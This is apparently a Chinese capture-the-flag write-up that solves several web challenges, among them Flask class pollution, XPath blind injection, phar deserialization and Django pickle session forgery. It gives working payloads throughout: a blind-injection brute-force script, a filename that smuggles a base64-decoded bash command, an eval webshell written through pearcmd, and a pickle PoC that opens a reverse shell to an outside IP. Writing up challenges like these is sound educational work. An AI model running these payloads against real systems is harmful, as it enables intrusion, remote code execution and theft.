EzFlask

python原型链污染

image-20230725145530694

提供源码 开始审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80

import uuid

from flask import Flask, request, session
from secret import black_list
import json

app = Flask(__name__)
app.secret_key = str(uuid.uuid4())

def check(data):
for i in black_list:
if i in data:
return False
return True

def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

class user():
def __init__(self):
self.username = ""
self.password = ""
pass
def check(self, data):
if self.username == data['username'] and self.password == data['password']:
return True
return False

Users = []

@app.route('/register',methods=['POST'])
def register():
if request.data:
try:
if not check(request.data):
return "Register Failed"
data = json.loads(request.data)
if "username" not in data or "password" not in data:
return "Register Failed"
User = user()
merge(data, User)
Users.append(User)
except Exception:
return "Register Failed"
return "Register Success"
else:
return "Register Failed"

@app.route('/login',methods=['POST'])
def login():
if request.data:
try:
data = json.loads(request.data)
if "username" not in data or "password" not in data:
return "Login Failed"
for user in Users:
if user.check(data):
session["username"] = data["username"]
return "Login Success"
except Exception:
return "Login Failed"
return "Login Failed"

@app.route('/',methods=['GET'])
def index():
return open(__file__, "r").read()

if __name__ == "__main__":
app.run(host="0.0.0.0", port=5010)

image-20230726100732339

重点是这里 访问根目录的时候会读取我们的内置方法 (__file__)

这里的话我们就可以通过污染这个内置属性 来指定我们想要读取的文件

image-20230726101131131

就是在/register这个路由下 传入我们恶意构造的json语句

(这里有疑问的也可以去看看文章开头给的那篇文章)

但是直接用文章给的payload是打不了的 因为有fuzz 但是因为这个pythonpaylaodssti差不多 所以可以使用编码来进行绕过

payload

1
{"username":"1","password":"1","\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f":{"\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f":{"\u005f\u005f\u0066\u0069\u006c\u0065\u005f\u005f":"/proc/self/cgroup"}}}

image-20230726101709961

然后访问根目录

image-20230726101758153

这是个非预期解

其实看了文章开头给的文章的话 还可以污染另一个内置方法来直接读取文件

image-20230726102006243

payload

1
2
3
4
{"__init\u005f_":{"__globals__":{"app":{"_static_folder":"/"}}},
"username":1,
"password":1
}

就是通过污染_static_folder 这个属性 来将当前目录设为根目录

然后就可以直接进行目录穿越了

image-20230726102943214

然后直接开始访问

image-20230726103038744

都是可以直接访问的

image-20230726103154504

这次比赛好几道题都可以这样来解 就是通过读取这个路径 来看docker的启动的sh文件内容 从而查到flag位置

就是存在两种可以污染的内置属性(可能还有其他的 但是我还不知道)

因为console开了 预期解是因为污染__file__ 然后通过读取文件来算pin 然后再到控制台了读取文件

(这里就不跟了)

MyPicDisk

image-20230726104245789

万能密码登录 然后看到隐藏文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
<?php
session_start();
error_reporting(0);
class FILE{
public $filename;
public $lasttime;
public $size;
public function __construct($filename){
if (preg_match("/\//i", $filename)){
throw new Error("hacker!");
}
$num = substr_count($filename, ".");
if ($num != 1){
throw new Error("hacker!");
}
if (!is_file($filename)){
throw new Error("???");
}
$this->filename = $filename;
$this->size = filesize($filename);
$this->lasttime = filemtime($filename);
}
public function remove(){
unlink($this->filename);
}
public function show()
{
echo "Filename: ". $this->filename. " Last Modified Time: ".$this->lasttime. " Filesize: ".$this->size."<br>";
}
public function __destruct(){
system("ls -all ".$this->filename);
}
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>MyPicDisk</title>
</head>
<body>
<?php
if (!isset($_SESSION['user'])){
echo '
<form method="POST">
username:<input type="text" name="username"></p>
password:<input type="password" name="password"></p>
<input type="submit" value="登录" name="submit"></p>
</form>
';
$xml = simplexml_load_file('/tmp/secret.xml');
if($_POST['submit']){
$username=$_POST['username'];
$password=md5($_POST['password']);
$x_query="/accounts/user[username='{$username}' and password='{$password}']";
$result = $xml->xpath($x_query);
if(count($result)==0){
echo '登录失败';
}else{
$_SESSION['user'] = $username;
echo "<script>alert('登录成功!');location.href='/index.php';</script>";
}
}
}
else{
if ($_SESSION['user'] !== 'admin') {
echo "<script>alert('you are not admin!!!!!');</script>";
unset($_SESSION['user']);
echo "<script>location.href='/index.php';</script>";
}
echo "<!-- /y0u_cant_find_1t.zip -->";
if (!$_GET['file']) {
foreach (scandir(".") as $filename) {
if (preg_match("/.(jpg|jpeg|gif|png|bmp)$/i", $filename)) {
echo "<a href='index.php/?file=" . $filename . "'>" . $filename . "</a><br>";
}
}
echo '
<form action="index.php" method="post" enctype="multipart/form-data">
选择图片:<input type="file" name="file" id="">
<input type="submit" value="上传"></form>
';
if ($_FILES['file']) {
$filename = $_FILES['file']['name'];
if (!preg_match("/.(jpg|jpeg|gif|png|bmp)$/i", $filename)) {
die("hacker!");
}
if (move_uploaded_file($_FILES['file']['tmp_name'], $filename)) {
echo "<script>alert('图片上传成功!');location.href='/index.php';</script>";
} else {
die('failed');
}
}
}
else{
$filename = $_GET['file'];
if ($_GET['todo'] === "md5"){
echo md5_file($filename);
}
else {
$file = new FILE($filename);
if ($_GET['todo'] !== "remove" && $_GET['todo'] !== "show") {
echo "<img src='../" . $filename . "'><br>";
echo "<a href='../index.php/?file=" . $filename . "&&todo=remove'>remove</a><br>";
echo "<a href='../index.php/?file=" . $filename . "&&todo=show'>show</a><br>";
} else if ($_GET['todo'] === "remove") {
$file->remove();
echo "<script>alert('图片已删除!');location.href='/index.php';</script>";
} else if ($_GET['todo'] === "show") {
$file->show();
}
}
}
}
?>
</body>
</html>

这里还是有两种解法

  • phar文件上传
  • system命令拼接

审计了一下代码

得出解题思路

就是先进行登录 然后传文件

image-20230726111533509

主要是得进到这个里面 然后就会实例化FILE这个类

image-20230726111628995

这里的时候就会触发phar反序列化了

另一个拼接命令的方法如下

image-20230726111717191

就是通过恶意构造文件名 来通过最后的命令执行

通过审计代码发现 其实登不登陆成功对做题影响都不大(不爆破出密码的话可以强制文件上传 都一样的)

image-20230726111926604

image-20230726112001895

这两个判断登录成功与否的方法并不会直接把代码给阻断掉 echo完后还会继续执行后面的代码

这里其实有个xml盲注的考点可以学习学习

image-20230726114448432

这里可以使用xml盲注来注出密码的 (xpath注入) ——> 目的不只是为了做题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import requests
import time
url ='http://1faab4d0-7d84-46a1-b6fb-5dc991bc7f72.node4.buuoj.cn:81/index.php'


strs ='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'


flag =''
for i in range(1,100):
for j in strs:

#猜测根节点名称
# payload_1 = {"username":"<username>'or substring(name(/*[1]), {}, 1)='{}' or ''='</username><password>3123</password>".format(i,j),"password":123}
#猜测子节点名称
# payload_2 = "<username>'or substring(name(/root/*[1]), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])

#猜测accounts的节点
# payload_3 ="<username>'or substring(name(/root/accounts/*[1]), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])

#猜测user节点
# payload_4 ="<username>'or substring(name(/root/accounts/user/*[2]), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])

#跑用户名和密码
# payload_username ="<username>'or substring(/accounts/user[1]/username/text(), {}, 1)='{}' or ''='".format(i,j)
payload_username ="<username>'or substring(/accounts/user[1]/password/text(), {}, 1)='{}' or ''='".format(i,j)
data={
"username":payload_username,
"password":123,
"submit":"1"
}
#
# payload_password ="<username>'or substring(/root/accounts/user[2]/password/text(), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])


print(payload_username)
r = requests.post(url=url,data=data)
time.sleep(0.1)
# print(r.text)
#003d7628772d6b57fec5f30ccbc82be1

if "登录成功" in r.text:
flag+=j
print(flag)
break

if "登录失败" in r.text:
break

print(flag)

然后就可以把密码给爆破出来了

system命令拼接

image-20230726145115503

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
POST /index.php HTTP/1.1
Host: a9d211a4-8dbb-4641-a4e2-b2b64e604908.node4.buuoj.cn:81
Content-Length: 210
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://a9d211a4-8dbb-4641-a4e2-b2b64e604908.node4.buuoj.cn:81
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5zDlxzonrJYj4N0m
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://a9d211a4-8dbb-4641-a4e2-b2b64e604908.node4.buuoj.cn:81/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=4ca196683169f8034a864930f1f86e84
Connection: close

------WebKitFormBoundary5zDlxzonrJYj4N0m
Content-Disposition: form-data; name="file"; filename=";echo bHMgLwo|base64 -d|bash;ajpg.jpg"
Content-Type: image/png


------WebKitFormBoundary5zDlxzonrJYj4N0m--

上传成功后

image-20230726145658481

通过get传参 ?file=上传的文件名字

image-20230726145829047

成功拿到flag名字 之后修改这个文件名就能拿到flag了

phar文件上传

先生成一个phar文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

class FILE{
public $filename;
public $lasttime;
public $size;
public function __construct($filename){
$this->filename = $filename;
}
}

$a = new FILE("/;cat /adjaskdhnask_flag_is_here_dakjdnmsakjnfksd");
$phartest=new phar('phartest.phar',0);
$phartest->startBuffering();
$phartest->setMetadata($a);
$phartest->setStub("<?php __HALT_COMPILER();?>");
$phartest->addFromString("test.txt","test");
$phartest->stopBuffering();

然后上传图片 (修改后缀上传)

image-20230726153903059

这里的话是md5_file来触发的

image-20230726153925874

如果不填todo=md5的话 是不能触发的

(我也不知道为啥。。。。。。。。)

image-20230726162917937

按道理来说的话 在构造函数这里的时候已经触发这个phar

解决了这个问题了

原因就是因为传进来的值会有/ 然后就会进入正则 抛出异常

image-20230729003235802

还是自己蠢了 tmd

ez_cms

这题真狗

但是尝试pearcmd没写入成功(当时pearcmd.php位置错了 没发现)

然后尝试sql写入半天 还是没成功

最后又返回来用pearcmd写入才成功 (发现了位置不对后才成功)

Y4—熊海CMS代码审计

看这篇文章就行了

image-20230726164436791

就是这里

如果访问默认的pearcmd.php路径的话 这个题目是访问不到的

image-20230726171220938

问下gpt之后 发现了/usr/share/php这个位置 尝试之后发现成功了

paylaod

1
/admin/index.php?+config-create+/&r=../../../../../../../../../usr/share/php/pearcmd&/<?=eval($_POST[1]);?>+/tmp/1.php

image-20230726172057819

然后进行文件包含

image-20230726172316775

成功写入

然后直接RCE就行了

ez_py

这道题是参考这个 hackergame2019 出的题

这题考察得是djangoRCE

拿到源码之后

主要看里面的settings.py 这个文件

image-20230729154657238

image-20230729154708124

这里的话提供了SECRET_KEY 并且对session是进行Pickle反序列化解析的

通过这里的话我们就很清晰能得知可以通过伪造session来进行反序列化的

并且在其官方文档里也提到了这个问题

image-20230729154935067

https://docs.djangoproject.com/en/2.2/topics/http/sessions/#using-cookie-based-sessions

然后我们就去搜索这几个关键字 得到一篇文章 并且是有poc的

image-20230729155304243

题目给我们的附件中 可以看到django的版本

image-20230729155402295

image-20230729155428512

其实默认采用的是json的序列化 但是为了出题 作者将其改为了pickle序列化

image-20230729155759379

本来实际上是这样的 但是并不影响我们自己修改成Pickle

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import urllib3

SECRET_KEY = 'p(^*@36nw13xtb23vu%x)2wp-vk)ggje^sobx+*w2zd^ae8qnn'
salt = "django.contrib.sessions.backends.signed_cookies"

import django.core.signing

import pickle

class PickleSerializer(object):
"""
Simple wrapper around pickle to be used in signing.dumps and
signing.loads.
"""
def dumps(self, obj):
return pickle.dumps(obj, pickle.HIGHEST_PROTOCOL)

def loads(self, data):
return pickle.loads(data)


import subprocess
import base64

class Command(object):
def __reduce__(self):
return (subprocess.Popen, (('bash -c "bash -i >& /dev/tcp/101.42.39.110/3389 <&1"',),-1,None,None,None,None,None,False, True))

out_cookie= django.core.signing.dumps(
Command(), key=SECRET_KEY, salt=salt, serializer=PickleSerializer)
print(out_cookie)

这里的话是先进行登录 然后将cookie修改为我们构造的 然后访问auth路由就行了

但是我这里没弹成功 不知道是payload的问题还是我的操作问题

ez_timing

这道题考察的是http2

确实符合题目说的一种很新的方式

这里的话是参考github上这个出的题目 几乎一模一样

http2

这个wp中也写了这个题目的wp

好像这个题目的地址关了 所以我就没做了